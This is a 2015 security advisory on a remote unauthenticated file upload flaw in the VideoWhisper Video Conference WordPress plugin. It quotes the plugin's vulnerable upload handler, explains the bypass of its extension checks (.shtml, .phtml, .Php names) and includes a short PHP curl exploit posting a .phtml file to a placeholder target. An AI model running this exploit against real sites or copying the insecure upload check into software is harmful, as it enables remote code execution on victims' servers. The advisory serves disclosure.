Advisory #: 116
Title: Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site:
Vendor Notified: 2015-03-29
Vendor Contact:
Description: VideoWhisper Video Conference is a modern web based multiple way video chat and real time file sharing tool. Read more on WordPress Video Conference plugin home page.
*Update* You can directly execute php by uploading file extension ending in .phtml, .rhtml, .pht as long as the extension isn't defined in the apache mime.types. This was a previously discovered vulnerability that was not properly fixed by the author. The patch was insufficient in blocking malicious file uploads. ./videowhisper-video-conference-integration/vc/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution is SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: .shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps The if (strstr($filename,'.php')) exit; can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml <?php if ($_GET["room"]) $room=$_GET["room"]; if ($_POST["room"]) $room=$_POST["room"]; $filename=$_FILES['vw_file']['name']; include_once("incsan.php"); sanV($room); if (!$room) exit; sanV($filename); if (!$filename) exit; if (strstr($filename,'.php')) exit; //do not allow uploads to other folders if ( strstr($room,"/") || strstr($room,"..") ) exit; if ( strstr($filename,"/") || strstr($filename,"..") ) exit; $destination="uploads/".$room."/"; if ($_GET["slides"]) $destination .= "slides/"; $ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps"); if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); ?>loadstatus=1
Exploit Code:
  1. <?php
  3. $uploadfile="upexp.phtml";
  4. $ch =
  5. curl_init("http://target_site/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php");
  6. curl_setopt($ch, CURLOPT_POST, true);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS,
  8. array('vw_file'=>"@$uploadfile",'name'=>'upexp.phtml','room'=>'.'));
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  10. $postResult = curl_exec($ch);
  11. print "$postResult";
  13. ?>
  15. upexp.phtml
  17. <?php
  18. ?>
  19. The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.
Screen Shots: